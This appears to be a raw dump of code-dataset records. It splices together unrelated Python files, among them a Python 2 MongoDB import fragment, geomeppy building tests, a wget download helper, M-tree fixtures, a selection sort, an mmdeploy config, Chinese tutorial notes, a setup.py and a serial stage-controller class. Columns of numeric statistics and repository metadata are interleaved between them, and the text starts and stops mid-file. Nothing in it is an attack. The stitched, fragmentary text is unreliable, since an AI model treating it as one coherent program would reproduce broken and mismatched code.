MongoDB password: ') if password == '': print 'You must enter a password' exit() else: print 'You must enter a username' exit() database = raw_input('Enter Mongo database you want to insert into: ') if database == '': print 'You must enter a database' exit() # Make db connection collection_name = 'questions' if environment == 'local': mongo_url = 'mongodb://localhost/' + database client = MongoClient('localhost', 27017) mongo_db = client[database] elif environment == 'remote': mongo_url = 'mongodb://' + username + ':' + password + '@c726.candidate.19.mongolayer.com:10726/' + database client = MongoClient(mongo_url) mongo_db = client[database] try: mongo_db.authenticate(username, password) print "Authenticated Mongo connection." except: print "Wrong username or password!" exit() collection = mongo_db[collection_name] country_collection = mongo_db['countries'] if country_collection.find({}).count() == 0: country_collection.insert(countries_data) if collection.find({}).count() == 0: collection.insert(data) print str(len(data)) + " documents inserted into " + collection_name + \ " collection in the "+ database + " database." else: print 'Data exists' exit() # # print data # # write out archive of update into archive folder print_out = open('./' + dest, 'w') # # print_out.write(json.dumps(data, cls=SetEncoder, indent=4, separators=(',', ':'))) print_out.write(json.dumps(data, cls=SetEncoder, separators=(',', ':'))) print 'data written into ' + dest + ' file' print_out.close() if __name__ == '__main__': main(argv[1:])
57.290237
116
0.523695
2,366
21,713
4.679205
0.406593
0.202421
0.017343
0.008581
0.026466
0.014994
0.011381
0.011381
0
0
0
0.016943
0.222586
21,713
378
117
57.441799
0.638922
0.217243
0
0.075812
0
0
0.425374
0.002375
0
0
0
0
0
0
null
null
0.021661
0.021661
null
null
0.057762
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
c3b2c982617f090f911b279573f931907eef5b76
7,905
py
Python
tests/test_builder.py
katsuya0719/geomeppy
0012371d5df7c31f99e5f7403f57eab9ba6a16d0
[ "MIT" ]
29
2016-10-01T01:23:48.000Z
2021-11-08T11:47:00.000Z
tests/test_builder.py
katsuya0719/geomeppy
0012371d5df7c31f99e5f7403f57eab9ba6a16d0
[ "MIT" ]
142
2016-09-13T10:13:17.000Z
2022-02-10T09:07:11.000Z
tests/test_builder.py
katsuya0719/geomeppy
0012371d5df7c31f99e5f7403f57eab9ba6a16d0
[ "MIT" ]
19
2017-01-04T23:15:19.000Z
2022-02-11T18:19:43.000Z
"""Test for builder module.""" from geomeppy.builder import Block breaking_coords = [ (531023.28, 183220.85), (531023.09, 183220.78), (531022.99, 183220.74), (531022.956, 183220.725), (531022.9, 183220.7), (531022.8, 183220.65), (531022.71, 183220.6), (531022.62, 183220.55), (531022.54, 183220.49), (531022.45, 183220.42), (531022.37, 183220.36), (531022.29, 183220.29), (531022.22, 183220.22), (531022.15, 183220.14), (531022.08, 183220.06), (531022.01, 183219.98), (531021.89, 183219.81), (531021.83, 183219.72), (531021.78, 183219.63), (531021.74, 183219.53), (531021.69, 183219.44), (531021.65, 183219.34), (531021.62, 183219.24), (531021.59, 183219.14), (531021.56, 183219.04), (531021.54, 183218.94), (531021.52, 183218.84), (531021.51, 183218.73), (531021.5, 183218.63), (531021.49, 183218.52), (531021.49, 183218.42), (531021.49, 183218.31), (531021.5, 183218.21), (531021.53, 183215.08), (531021.54, 183214.98), (531021.55, 183214.88), (531021.57, 183214.78), (531021.59, 183214.68), (531021.62, 183214.58), (531021.65, 183214.48), (531021.68, 183214.39), (531021.72, 183214.29), (531021.76, 183214.2), (531021.79, 183214.146), (531021.81, 183214.11), (531021.86, 183214.02), (531021.91, 183213.93), (531021.97, 183213.85), (531022.03, 183213.77), (531022.09, 183213.69), (531022.16, 183213.61), (531022.23, 183213.53), (531022.3, 183213.46), (531022.44, 183213.34), (531022.52, 183213.28), (531022.6, 183213.22), (531022.69, 183213.17), (531022.78, 183213.12), (531022.87, 183213.07), (531022.945, 183213.037), (531022.96, 183213.03), (531023.06, 183212.99), (531023.15, 183212.95), (531023.25, 183212.92), (531023.35, 183212.89), (531023.45, 183212.87), (531023.55, 183212.85), (531023.65, 183212.84), (531023.75, 183212.83), (531023.85, 183212.82), (531023.95, 183212.82), (531024.05, 183212.82), (531024.15, 183212.82), (531024.26, 183212.83), (531024.36, 183212.85), (531024.46, 183212.86), (531024.55, 183212.89), (531024.65, 183212.91), (531024.82, 183212.97), (531028.5, 183214.02), (531028.61, 183214.08), (531028.73, 183214.14), (531028.83, 183214.21), (531028.94, 183214.28), (531029.04, 183214.35), (531029.14, 183214.43), (531029.24, 183214.52), (531029.33, 183214.6), (531029.42, 183214.69), (531029.5, 183214.79), (531029.59, 183214.89), (531029.66, 183214.99), (531029.74, 183215.09), (531029.83, 183215.25), (531029.89, 183215.36), (531029.95, 183215.47), (531030.0, 183215.59), (531030.05, 183215.71), (531030.09, 183215.83), (531030.13, 183215.95), (531030.16, 183216.08), (531030.19, 183216.2), (531030.21, 183216.33), (531030.23, 183216.45), (531030.24, 183216.64), (531029.83, 183219.11), (531029.78, 183219.27), (531029.74, 183219.39), (531029.69, 183219.51), (531029.63, 183219.63), (531029.57, 183219.75), (531029.51, 183219.86), (531029.44, 183219.97), (531029.37, 183220.08), (531029.29, 183220.18), (531029.21, 183220.28), (531029.13, 183220.38), (531029.04, 183220.47), (531028.95, 183220.56), (531028.79, 183220.69), (531028.69, 183220.77), (531028.59, 183220.85), (531028.48, 183220.92), (531028.37, 183220.99), (531028.25, 183221.05), (531028.14, 183221.1), (531028.02, 183221.16), (531027.9, 183221.2), (531027.77, 183221.24), (531027.65, 183221.28), (531023.28, 183220.85), ] class TestAddBlock: def test_add_block_smoke_test(self, new_idf): # type: () -> None idf = new_idf name = "test" height = 7.5 num_stories = 4 below_ground_stories = 1 below_ground_storey_height = 2.5 coordinates = [ (87.25, 24.0), (91.7, 25.75), (90.05, 30.25), (89.55, 31.55), (89.15, 31.35), (85.1, 29.8), (86.1, 27.2), (84.6, 26.65), (85.8, 23.5), (87.25, 24.0), ] idf.add_block( name, coordinates, height, num_stories, below_ground_stories, below_ground_storey_height, ) idf.intersect_match() def test_add_two_blocks(self, new_idf): # type: () -> None idf = new_idf height = 5 num_stories = 2 block1 = [(0, 0), (3, 0), (3, 3), (0, 3)] block2 = [(3, 1), (7, 1), (7, 5), (3, 5)] idf.add_block("left", block1, height, num_stories) idf.add_block("right", block2, height, num_stories) idf.intersect() idf.match() idf.set_wwr(0.25) idf.set_default_constructions() partitions = [ w for w in idf.getsurfaces("wall") if w.Outside_Boundary_Condition == "surface" ] outside_walls = [ w for w in idf.getsurfaces("wall") if w.Outside_Boundary_Condition == "outdoors" ] assert len(partitions) == 4 assert len(outside_walls) == 16 assert all([w.Construction_Name == "Project Partition" for w in partitions]) assert all([w.Construction_Name == "Project Wall" for w in outside_walls]) for window in idf.getsubsurfaces(surface_type="window"): wall = idf.getobject( "BUILDINGSURFACE:DETAILED", window.Building_Surface_Name ) assert wall.Construction_Name == "Project Wall" def test_add_two_concentric_blocks(self, new_idf): # type: () -> None idf = new_idf height = 5 num_stories = 2 block1 = [(0, 0), (4, 0), (4, 4), (0, 4)] block2 = [(1, 1), (2, 1), (2, 2), (1, 2)] idf.add_block("outer", block1, height, num_stories) idf.add_block("inner", block2, height, num_stories) idf.intersect_match() idf.set_wwr(0.25) idf.set_default_constructions() def test_known_breaking(self, new_idf): # type: () -> None idf = new_idf height = 5 num_stories = 2 coordinates = breaking_coords idf.add_block("breaker", coordinates, height, num_stories) idf.intersect_match() def test_block(): # type: () -> None name = "test" height = 7.5 num_stories = 4 below_ground_stories = 1 below_ground_storey_height = 2.5 coordinates = [ (524287.25, 181424.0), (524291.7, 181425.75), (524290.05, 181430.25), (524289.55, 181431.55), (524289.15, 181431.35), (524285.1, 181429.8), (524286.1, 181427.2), (524284.6, 181426.65), (524285.8, 181423.5), (524287.25, 181424.0), ] block = Block( name, coordinates, height, num_stories, below_ground_stories, below_ground_storey_height, ) # number of surfaces assert len(block.surfaces["roofs"]) == block.num_stories assert all(r == [] for r in block.surfaces["roofs"][:-1]) assert len(block.surfaces["walls"]) == block.num_stories assert len(block.surfaces["ceilings"]) == block.num_stories assert len(block.surfaces["floors"]) == block.num_stories # heights assert block.surfaces["floors"][0][0].vertices[0].z == ( -below_ground_storey_height * below_ground_stories ) assert block.surfaces["roofs"][-1][0].vertices[0].z == height # storey_nos assert block.stories[0]["storey_no"] == -below_ground_stories assert block.stories[-1]["storey_no"] == (num_stories - below_ground_stories - 1)
29.386617
85
0.558634
1,046
7,905
4.125239
0.207457
0.039397
0.0292
0.026651
0.260023
0.232908
0.194206
0.161761
0.155504
0.155504
0
0.412866
0.270462
7,905
268
86
29.496269
0.335356
0.018722
0
0.196787
0
0
0.024019
0.003099
0
0
0
0
0.056225
1
0.02008
false
0
0.004016
0
0.028112
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c3be689fe89ba820f96c97fdfc49e94ae92aef0c
529
py
Python
mule/util/download_util.py
algorand/mule
6524e1a5692090be52ef23af93ee70dd8149b669
[ "MIT" ]
8
2020-04-03T15:22:38.000Z
2021-07-29T03:17:57.000Z
mule/util/download_util.py
algorand/mule
6524e1a5692090be52ef23af93ee70dd8149b669
[ "MIT" ]
31
2020-03-31T13:35:12.000Z
2021-05-10T20:34:13.000Z
mule/util/download_util.py
algorand/mule
6524e1a5692090be52ef23af93ee70dd8149b669
[ "MIT" ]
4
2020-03-16T20:30:25.000Z
2021-07-29T03:18:01.000Z
import shutil import wget import tempfile import os from contextlib import contextmanager from mule.ci import config from mule.util import file_util def download_to_bin(url): path = wget.download(url, config.EKS_CLUSTER_NAME) file_util.make_executable(path) def download_to_dir(url, dir): os.mkdir(dir) return wget.download(url, dir) @contextmanager def download_to_tmp(url): tfile = tempfile.mkdtemp() try: yield wget.download(url, tfile), tfile finally: shutil.rmtree(tfile)
18.241379
54
0.731569
75
529
5.013333
0.453333
0.087766
0.103723
0
0
0
0
0
0
0
0
0
0.187146
529
28
55
18.892857
0.874419
0
0
0
0
0
0
0
0
0
0
0
0
1
0.15
false
0
0.35
0
0.55
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
c3c3a6bcb5c0a82fdcaa4fa416d2a70499068d81
52
py
Python
Libraries/Python/requests_negotiate_sspi/v0.3.1/requests_negotiate_sspi/version.py
davidbrownell/Common_Environment
4015872aeac8d5da30a6aa7940e1035a6aa6a75d
[ "BSL-1.0" ]
1
2017-04-25T13:15:10.000Z
2017-04-25T13:15:10.000Z
Libraries/Python/requests_negotiate_sspi/v0.3.1/requests_negotiate_sspi/version.py
davidbrownell/Common_Environment
4015872aeac8d5da30a6aa7940e1035a6aa6a75d
[ "BSL-1.0" ]
null
null
null
Libraries/Python/requests_negotiate_sspi/v0.3.1/requests_negotiate_sspi/version.py
davidbrownell/Common_Environment
4015872aeac8d5da30a6aa7940e1035a6aa6a75d
[ "BSL-1.0" ]
null
null
null
"""Current package version""" __version__ = '0.3.1'
17.333333
29
0.673077
7
52
4.428571
0.857143
0
0
0
0
0
0
0
0
0
0
0.065217
0.115385
52
2
30
26
0.608696
0.442308
0
0
0
0
0.217391
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c3c84a1c803033c36022616aa41d9933414dbcc1
4,078
py
Python
Python Implementation/mtree/tests/fixtures/f12.py
mavroudo/BPM-outlierDetection-distance-based
0b056f87d3b9c42e0039052c15212d4aab46dd39
[ "MIT" ]
48
2015-02-09T14:46:40.000Z
2022-02-16T14:27:38.000Z
Python Implementation/mtree/tests/fixtures/f12.py
mavroudo/BPM-outlierDetection-distance-based
0b056f87d3b9c42e0039052c15212d4aab46dd39
[ "MIT" ]
1
2021-12-01T03:14:57.000Z
2021-12-01T03:14:57.000Z
Python Implementation/mtree/tests/fixtures/f12.py
mavroudo/BPM-outlierDetection-distance-based
0b056f87d3b9c42e0039052c15212d4aab46dd39
[ "MIT" ]
24
2015-03-10T06:58:02.000Z
2022-03-11T04:43:40.000Z
from mtree.tests.fixtures.generator import ADD, REMOVE, QUERY """ actions = '12a12r12a12r' dimensions = 4 remove_chance = 0.1 """ DIMENSIONS = 4 def PERFORM(callback): callback(ADD((98, 6, 62, 83), QUERY((76, 5, 88, 66), 26.243784265073067, 3))) callback(ADD((50, 28, 1, 72), QUERY((90, 40, 27, 38), 47.355142939013646, 5))) callback(ADD((83, 39, 36, 21), QUERY((95, 65, 84, 65), 78.02485346868268, 5))) callback(ADD((21, 7, 20, 64), QUERY((61, 44, 96, 83), 64.53253290079154, 8))) callback(ADD((79, 25, 9, 34), QUERY((91, 94, 1, 48), 17.84898946852568, 5))) callback(ADD((45, 37, 47, 43), QUERY((89, 11, 94, 52), 30.248761285953847, 10))) callback(ADD((55, 44, 87, 68), QUERY((48, 46, 27, 61), 19.147531561226543, 5))) callback(ADD((40, 33, 32, 64), QUERY((15, 54, 44, 38), 28.412904157476582, 13))) callback(ADD((14, 48, 98, 26), QUERY((57, 27, 58, 39), 63.33140377696694, 9))) callback(ADD((99, 72, 71, 27), QUERY((23, 45, 44, 100), 73.42898604393157, 14))) callback(ADD((99, 71, 30, 67), QUERY((83, 16, 41, 83), 17.71043842471812, 8))) callback(ADD((83, 17, 15, 67), QUERY((26, 40, 75, 20), 63.40651543806896, 12))) callback(REMOVE((45, 37, 47, 43), QUERY((100, 88, 1, 5), 33.904351925689305, 8))) callback(REMOVE((50, 28, 1, 72), QUERY((100, 34, 36, 34), 10.242668328439963, 13))) callback(REMOVE((21, 7, 20, 64), QUERY((18, 82, 61, 54), 20.616666250047288, 3))) callback(REMOVE((99, 72, 71, 27), QUERY((66, 11, 93, 35), 59.410243323955534, 4))) callback(REMOVE((83, 39, 36, 21), QUERY((46, 12, 13, 28), 79.24075397007265, 4))) callback(REMOVE((98, 6, 62, 83), QUERY((100, 56, 82, 9), 7.8183440455728626, 8))) callback(REMOVE((99, 71, 30, 67), QUERY((53, 42, 7, 90), 62.723078948044034, 11))) callback(REMOVE((14, 48, 98, 26), QUERY((53, 39, 27, 71), 40.93889368459419, 4))) callback(REMOVE((55, 44, 87, 68), QUERY((51, 63, 53, 64), 73.74902370719796, 8))) callback(REMOVE((79, 25, 9, 34), QUERY((93, 79, 64, 35), 19.19760269418014, 4))) callback(REMOVE((83, 17, 15, 67), QUERY((2, 12, 40, 5), 11.605814870121787, 6))) callback(REMOVE((40, 33, 32, 64), QUERY((2, 76, 19, 68), 33.00626548642569, 4))) callback(ADD((86, 89, 93, 13), QUERY((54, 55, 70, 10), 45.87164734218477, 6))) callback(ADD((17, 14, 75, 14), QUERY((47, 45, 50, 30), 8.693289174369454, 5))) callback(ADD((44, 78, 90, 82), QUERY((21, 30, 64, 98), 1.1800345643200583, 6))) callback(ADD((46, 34, 32, 68), QUERY((13, 44, 89, 55), 20.20050348392597, 3))) callback(ADD((48, 2, 78, 53), QUERY((86, 22, 17, 100), 13.012457699744244, 2))) callback(ADD((12, 96, 67, 93), QUERY((2, 26, 11, 38), 33.92528287095654, 1))) callback(ADD((27, 1, 86, 66), QUERY((0, 29, 36, 65), 40.12302243206612, 6))) callback(ADD((45, 48, 5, 57), QUERY((69, 90, 8, 31), 55.50293178441844, 6))) callback(ADD((3, 56, 75, 40), QUERY((57, 68, 35, 58), 51.85734456476708, 13))) callback(ADD((25, 9, 42, 33), QUERY((55, 60, 9, 7), 48.82086535780479, 5))) callback(ADD((51, 10, 62, 13), QUERY((31, 67, 100, 63), 39.79281561802228, 16))) callback(ADD((81, 76, 54, 33), QUERY((37, 13, 54, 48), 47.107623428345, 8))) callback(REMOVE((45, 48, 5, 57), QUERY((58, 58, 1, 45), 76.02731211909581, 10))) callback(REMOVE((3, 56, 75, 40), QUERY((55, 18, 70, 76), 1.3579996852625253, 9))) callback(REMOVE((81, 76, 54, 33), QUERY((86, 94, 10, 63), 39.880370702624006, 14))) callback(REMOVE((86, 89, 93, 13), QUERY((39, 14, 15, 41), 31.040906656941154, 5))) callback(REMOVE((51, 10, 62, 13), QUERY((81, 58, 3, 8), 71.22765784979687, 11))) callback(REMOVE((25, 9, 42, 33), QUERY((45, 9, 18, 17), 33.54120155100786, 2))) callback(REMOVE((27, 1, 86, 66), QUERY((9, 55, 98, 33), 20.60150481705851, 11))) callback(REMOVE((48, 2, 78, 53), QUERY((29, 83, 5, 78), 37.70513355852923, 8))) callback(REMOVE((46, 34, 32, 68), QUERY((73, 96, 56, 10), 62.073279532426554, 6))) callback(REMOVE((44, 78, 90, 82), QUERY((32, 78, 34, 46), 52.87506545618484, 6))) callback(REMOVE((17, 14, 75, 14), QUERY((27, 15, 6, 72), 64.54547466103696, 5))) callback(REMOVE((12, 96, 67, 93), QUERY((45, 61, 53, 56), 52.776587554699134, 3)))
69.118644
84
0.62408
694
4,078
3.665706
0.226225
0.103774
0.028302
0.005503
0.238208
0
0
0
0
0
0
0.451503
0.13536
4,078
58
85
70.310345
0.269994
0
0
0
0
0
0
0
0
0
0
0
0
1
0.019608
false
0
0.019608
0
0.039216
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c3deb3554211e51508e260b891c6ab54878039da
284
py
Python
Vote.py
omeh2003/PythonAlgoritmSorting
10890061dd5925a1bb64ac764a4f5d807c0bcdbf
[ "MIT" ]
null
null
null
Vote.py
omeh2003/PythonAlgoritmSorting
10890061dd5925a1bb64ac764a4f5d807c0bcdbf
[ "MIT" ]
null
null
null
Vote.py
omeh2003/PythonAlgoritmSorting
10890061dd5925a1bb64ac764a4f5d807c0bcdbf
[ "MIT" ]
null
null
null
def ssort(array): for i in range(len(array)): indxMin = i for j in range(i+1, len(array)): if array[j] < array[indxMin]: indxMin = j tmp = array[indxMin] array[indxMin] = array[i] array[i] = tmp return array
25.818182
41
0.5
38
284
3.736842
0.368421
0.338028
0.239437
0
0
0
0
0
0
0
0
0.005682
0.380282
284
10
42
28.4
0.801136
0
0
0
0
0
0
0
0
0
0
0
0
1
0.1
false
0
0
0
0.2
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c3e9dbcaa6f96dd979fcd337bef326c6eb947a4e
99
py
Python
configs/mmpose/pose-detection_static.py
xizi/mmdeploy
6f0569156cd93412e4571ccfb6f0c4fbbacf3cdc
[ "Apache-2.0" ]
746
2021-12-27T10:50:28.000Z
2022-03-31T13:34:14.000Z
configs/mmpose/pose-detection_static.py
xizi/mmdeploy
6f0569156cd93412e4571ccfb6f0c4fbbacf3cdc
[ "Apache-2.0" ]
253
2021-12-28T05:59:13.000Z
2022-03-31T18:22:25.000Z
configs/mmpose/pose-detection_static.py
xizi/mmdeploy
6f0569156cd93412e4571ccfb6f0c4fbbacf3cdc
[ "Apache-2.0" ]
147
2021-12-27T10:50:33.000Z
2022-03-30T10:44:20.000Z
_base_ = ['../_base_/onnx_config.py'] codebase_config = dict(type='mmpose', task='PoseDetection')
24.75
59
0.717172
12
99
5.416667
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.080808
99
3
60
33
0.714286
0
0
0
0
0
0.434343
0.242424
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c3f127c57f5d06e714c053594be6b24283ef1512
1,194
py
Python
Python_basics/day04.py
suleisulei/Violent_Python_Examples
df88fc8b0dde5fac135647d46130e98a4f6b90e2
[ "Apache-2.0" ]
2
2019-07-30T13:47:43.000Z
2021-12-27T09:03:47.000Z
Python_basics/day04.py
suleisulei/Violent_Python_Examples
df88fc8b0dde5fac135647d46130e98a4f6b90e2
[ "Apache-2.0" ]
null
null
null
Python_basics/day04.py
suleisulei/Violent_Python_Examples
df88fc8b0dde5fac135647d46130e98a4f6b90e2
[ "Apache-2.0" ]
null
null
null
# _*_ conding:utf8- ''' # 如果要有默认参数,那么一定统一塞到最后面 def test(name1,name2='Joker',name3='Joker2'): print(name1,name2,name3) test('h','h','j') # * 强制命名,*后面的所有参数,在传参过程中必须要带上 # 参数名防止传参错误 def NB(name1,*,name2='Joker',name3='Joker2'): print(name1,name2,name3) # 1. 位置参数,可以不带参数名 # 2. 带参数名的传参方式 NB('Joker3',name2='hahah',name3='heihei') # 匿名函数,装逼函数,只能完成一些简单的问题 # : 前面,是装逼函数的输入量,后面是装逼函数的输出量 func = lambda x,y,z=1000:print(x+y+z) func(100,100) # 装逼函数完全体 (lambda x,y,z=1000:print(x+y+z))(100,100) # 不定长参数 *args 下水道::你来多少,我装多少 # * 只是一个标示,意味着后面的参数是一个不定长参数,所以args可以更改成别的你喜欢的参数名 # 但是约定俗成的是args # 传参的方式是:单个元素,不能带参数名 def AGS(*args): print(args) # 返回的叫元组 # AGS(1,2,3,4,5,7,89,0,43,2,4,67,8,5,123,1,231) # --------------------- # ** 也是一个标示,所以kwargs也是可以更换的,但是约定俗成是kwargs # 传参形式一定要是带参数名的(实际上是一个键值对) # 返回的是一个字典 def KWargs(**kwargs): print(kwargs) # KWargs(a = '100',b = 100,c = True) # 终极用法在Python中,完整的不定长函数 #---------------- def argsKw(*args,**kwargs): print(args) print(kwargs) # 全局变量 Mist # 使用全局变量的时候,必须要声明全局变量, # 否则无法更改全局变量 Mist = 0 def test4(): global Mist Mist += 10 print(Mist) test4() print(Mist) globals() #返回运行开始到现在为止所有的全局变量表 locals() # 返回运行开始到现在为止所有的局部变量表 '''
20.237288
48
0.656616
162
1,194
4.82716
0.567901
0.051151
0.015345
0.051151
0.171356
0.171356
0.171356
0.171356
0.171356
0
0
0.072534
0.134003
1,194
58
49
20.586207
0.683752
0.990787
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
c3fa4f6f4f7ed8a30e5377e63272311e110c445a
643
py
Python
salesforce/setup.py
xhennessy-r7/insightconnect-plugins
59268051313d67735b5dd3a30222eccb92aca8e9
[ "MIT" ]
null
null
null
salesforce/setup.py
xhennessy-r7/insightconnect-plugins
59268051313d67735b5dd3a30222eccb92aca8e9
[ "MIT" ]
null
null
null
salesforce/setup.py
xhennessy-r7/insightconnect-plugins
59268051313d67735b5dd3a30222eccb92aca8e9
[ "MIT" ]
null
null
null
# GENERATED BY KOMAND SDK - DO NOT EDIT from setuptools import setup, find_packages setup(name='salesforce-rapid7-plugin', version='1.0.0', description='Salesforce is a CRM solution that brings together all customer information in a single, integrated platform that enables building a customer-centred business from marketing right through to sales, customer service and business analysis', author='rapid7', author_email='', url='', packages=find_packages(), install_requires=['komand'], # Add third-party dependencies to requirements.txt, not here! scripts=['bin/komand_salesforce'] )
42.866667
256
0.723173
81
643
5.679012
0.753086
0.052174
0
0
0
0
0
0
0
0
0
0.009579
0.18818
643
14
257
45.928571
0.871648
0.150855
0
0
1
0.090909
0.546961
0.082873
0
0
0
0
0
1
0
true
0
0.090909
0
0.090909
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
c3fed5a07d445c7ae060cc3c9b59fd0bfb526980
6,781
py
Python
GUI/Controllers/controller.py
joshuamitchell192/DLS_Project
3d81be19e08a65f8322a30811af18755b98706eb
[ "Apache-2.0" ]
1
2019-10-18T08:54:52.000Z
2019-10-18T08:54:52.000Z
GUI/Controllers/controller.py
joshuamitchell192/DLS_Project
3d81be19e08a65f8322a30811af18755b98706eb
[ "Apache-2.0" ]
4
2019-10-16T02:51:12.000Z
2021-02-07T11:02:01.000Z
GUI/Controllers/controller.py
joshuamitchell192/DLS_Project
3d81be19e08a65f8322a30811af18755b98706eb
[ "Apache-2.0" ]
null
null
null
import struct from enum import Enum import pycrc.algorithms from Services.settings import Settings class State(Enum): Idle = 0 ScanBetween = 1 StationarySample = 2 Calibration = 3 class Controller: def __init__(self): pass def __init__(self, serialConnection, Instructions, sampleData): self.serialConnection = serialConnection self.Instructions = Instructions self.pause = False self.stepsPerMM = 0.018 self.isSampling = False self.crc = pycrc.algorithms.Crc(width=16, poly=0x8005, reflect_in=True, xor_in= 0x0000, reflect_out=True, xor_out = 0x0000) self.state = State.Idle self.sampleData = sampleData self.settings = Settings() self.settings.loadSettings() def handleCalibrate(self): self.isSampling = False self.serialConnection.sendInstruction(self.Instructions.Calibrate) def handleScanBetween(self, P1, P2, sampleDuration, mmBetweenSamples, stepMode): self.isSampling = False self.serialConnection.sendInstruction(self.Instructions.Pause) self.serialConnection.sendInstruction(self.Instructions.StartProgram) self.serialConnection.sendInstruction(self.Instructions.RapidPosition, [P1]) self.serialConnection.sendInstruction(self.Instructions.SampleDuration, [sampleDuration]) self.serialConnection.sendInstruction(self.Instructions.TurnOnAdc) self.serialConnection.sendInstruction(self.Instructions.mmBetweenSamples, [mmBetweenSamples]) self.serialConnection.sendInstruction(self.Instructions.StepMode, [stepMode]) self.serialConnection.sendInstruction(self.Instructions.LinearPosition, [P2]) self.serialConnection.sendInstruction(self.Instructions.TurnOffAdc) self.serialConnection.sendInstruction(self.Instructions.EndProgram) self.serialConnection.sendInstruction(self.Instructions.Resume) def handlePause(self): """ Sets the pause boolean to true so that we cease reading samples. """ if (self.pause): self.pause = False self.serialConnection.sendInstruction(self.Instructions.Resume) else: self.pause = True # Write to tiva to pause sampling on GUI self.isSampling = False self.serialConnection.sendInstruction(self.Instructions.Pause) def handleGoToPoint(self, position): """ sends the Rapid Position instruction to move to the given position """ self.isSampling = False self.serialConnection.sendInstruction(self.Instructions.Pause) self.serialConnection.sendInstruction(self.Instructions.TurnOffAdc) self.serialConnection.sendInstruction(self.Instructions.RapidPosition, [position]) self.serialConnection.sendInstruction(self.Instructions.Resume) def handleStartSample(self, averageInterval): self.isSampling = False self.serialConnection.sendInstruction(self.Instructions.Pause) self.serialConnection.sendInstruction(self.Instructions.StartProgram) self.serialConnection.sendInstruction(self.Instructions.AverageInterval, [averageInterval]) self.serialConnection.sendInstruction(self.Instructions.TurnOnAdc) self.serialConnection.sendInstruction(self.Instructions.SampleAtPosition) self.serialConnection.sendInstruction(self.Instructions.TurnOffAdc) self.serialConnection.sendInstruction(self.Instructions.EndProgram) self.serialConnection.sendInstruction(self.Instructions.Resume) def readLoop(self): while True: messageType = self.serialConnection.ser.read(2) if messageType == b'\xff\xff': if (self.state != State.ScanBetween): self.sampleData.linePlotData.addLine() self.state = State.ScanBetween self.readSampleData() elif messageType == b'\xff\xfe': self.state = State.Idle elif messageType == b'\xff\xfd': self.state = State.StationarySample self.readSampleData() elif(messageType == b'\xff\xfc'): self.state = State.Calibration stepsPerMMBytes = self.serialConnection.readInt() stageCalibrationStepsPerMM = struct.unpack('h', stepsPerMMBytes)[0] self.stepsPerMM = 1/stageCalibrationStepsPerMM self.settings.saveSetting("Calibration", "stepspermm", str(stageCalibrationStepsPerMM)) def readSampleData(self): sampleBytes = self.serialConnection.readInt() remainder = self.readCrc(sampleBytes) if (remainder != 0): print("---------- TRANMISSION ERROR OCCURED ----------") timeBytes = self.serialConnection.readFloat() remainder = self.readCrc(timeBytes) if (remainder != 0): print("---------- TRANMISSION ERROR OCCURED ----------") positionBytes = self.serialConnection.readFloat() remainder = self.readCrc(positionBytes) if (remainder != 0): print("---------- TRANMISSION ERROR OCCURED ----------") sample = struct.unpack('h', sampleBytes)[0] time = struct.unpack('f', timeBytes)[0] position = struct.unpack('f', positionBytes)[0] #time = self.secondsToRTC(time) if (self.state == State.ScanBetween): self.sampleData.linePlotData.samples[self.sampleData.linePlotData.getLineIndex()].append(round(sample, 4)) self.sampleData.linePlotData.times[self.sampleData.linePlotData.getLineIndex()].append(time) self.sampleData.linePlotData.positions[self.sampleData.linePlotData.getLineIndex()].append(round(position, 4)) elif (self.state == State.StationarySample): self.sampleData.scatterPlotData.samples.append(round(sample, 4)) self.sampleData.scatterPlotData.times.append(round(time, 4)) self.sampleData.scatterPlotData.positions.append(round(position, 4)) def secondsToRTC(self, time): minutes = time // 60 seconds = round(time - (minutes * 60), 4) #milliSeconds = round(seconds // ) #hours = minutes // 60 return f'{int(minutes)} m : {seconds} s'#:{milliSeconds} ms' def readCrc(self, data): crc = self.serialConnection.ser.read(2) return self.crc.table_driven(data + crc) def handleClearQueue(self): self.isSampling = False self.serialConnection.sendInstruction(self.Instructions.Pause) self.serialConnection.sendInstruction(self.Instructions.Clear) self.serialConnection.sendInstruction(self.Instructions.Resume)
41.09697
131
0.673057
616
6,781
7.387987
0.233766
0.162602
0.223028
0.248517
0.555043
0.479895
0.37706
0.337508
0.314217
0.280598
0
0.009683
0.223271
6,781
164
132
41.347561
0.854376
0.043356
0
0.322034
0
0
0.035245
0
0
0
0.002783
0
0
1
0.101695
false
0.008475
0.033898
0
0.20339
0.025424
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
7f0a4babbb3c88da3334a4a1c8c8e190901687e6
301
py
Python
fastlabel/exceptions.py
SNC-HealthcareBiz/fastlabel-python-sdk
0035edad7388305f6243a08fbc3372e74de7f311
[ "MIT" ]
6
2020-12-26T05:29:20.000Z
